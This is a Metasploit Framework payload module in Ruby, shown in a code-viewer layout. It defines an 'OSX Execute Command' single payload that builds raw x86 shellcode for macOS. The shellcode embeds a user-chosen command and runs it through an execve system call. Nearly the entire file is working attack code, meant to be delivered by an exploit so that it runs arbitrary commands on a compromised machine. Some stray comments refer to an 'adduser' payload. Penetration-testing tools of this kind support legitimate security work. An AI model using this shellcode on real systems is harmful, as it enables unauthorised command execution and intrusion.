66 lines
1.3 KiB
Ruby
66 lines
1.3 KiB
Ruby
|
##
|
||
|
|
# $Id$
|
||
|
|
##
|
||
|
|
|
||
|
|
##
|
||
|
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
|
# Framework web site for more information on licensing and terms of use.
|
||
|
|
# http://metasploit.com/projects/Framework/
|
||
|
|
##
|
||
|
|
|
||
|
|
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
module Msf
|
||
|
|
module Payloads
|
||
|
|
module Singles
|
||
|
|
module Osx
|
||
|
|
module X86
|
||
|
|
|
||
|
|
###
|
||
|
|
#
|
||
|
|
# Exec
|
||
|
|
# ----
|
||
|
|
#
|
||
|
|
# Executes an arbitrary command.
|
||
|
|
#
|
||
|
|
###
|
||
|
|
module Exec
|
||
|
|
|
||
|
|
include Msf::Payload::Single
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(merge_info(info,
|
||
|
|
'Name' => 'OSX Execute Command',
|
||
|
|
'Version' => '$Revision$',
|
||
|
|
'Description' => 'Execute an arbitrary command',
|
||
|
|
'Author' => 'snagg <snagg[at]openssl.it>',
|
||
|
|
'License' => BSD_LICENSE,
|
||
|
|
'Platform' => 'osx',
|
||
|
|
'Arch' => ARCH_X86))
|
||
|
|
|
||
|
|
# Register adduser options
|
||
|
|
register_options(
|
||
|
|
[
|
||
|
|
OptString.new('CMD', [ true, "The command string to execute" ]),
|
||
|
|
], Msf::Payloads::Singles::Osx::X86::Exec)
|
||
|
|
end
|
||
|
|
|
||
|
|
#
|
||
|
|
# Dynamically builds the adduser payload based on the user's options.
|
||
|
|
#
|
||
|
|
def generate
|
||
|
|
cmd = datastore['CMD'] || ''
|
||
|
|
payload =
|
||
|
|
"\x31\xc0\x50"+
|
||
|
|
Rex::Arch::X86.call(cmd.length + 1) + cmd +
|
||
|
|
"\x00\x5e\x89\xe7\xb9\x1e\x00" +
|
||
|
|
"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
|
||
|
|
"\x50\x53\xb0\x3b\x50\xcd\x80"
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|
||
|
|
|
||
|
|
end end end end end
|